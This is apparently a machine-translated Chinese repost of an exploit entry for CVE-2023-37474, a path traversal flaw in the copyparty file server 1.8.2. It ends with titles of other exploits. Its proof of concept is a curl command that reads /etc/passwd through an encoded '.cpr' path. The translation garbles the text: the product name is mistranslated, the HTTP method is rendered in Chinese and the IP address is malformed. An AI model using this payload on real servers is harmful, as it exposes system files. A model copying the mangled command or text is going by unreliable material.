版权党1.8.2-目录遍历

[HackApt-37 Team已验证会员]

＃利用标题:版权1.8.2-目录遍历
＃日期: 14/07/2023
＃利用作者: vartamtzidis theodoros（@thehackydog）
＃供应商homepage: https://github.com/9001/copyparty/
＃软件link: https://github.com/9001/copyparty/releases/tag/v1.8.2
＃版本:=1.8.2
＃测试在: Debian Linux
＃CVE : CVE-2023-37474
＃描述
CopyParty是便携式文件服务器。 1.8.2之前的版本受到“ .cpr”子文件夹中检测到的路径遍历漏洞的约束。路径遍历攻击技术允许攻击者访问位于Web文档根目录之外的文件，目录和命令。
#poc
curl -i -s -k -x获取'http://127.0.0.0.1:3923/.cpr/％2FETC％2fpasswd'

 

H

mremoteng v1.77.3.1784 -nb-敏感信息在内存中存储敏感信息

H

Copyparty v1.8.6-反射的跨站点脚本（XSS）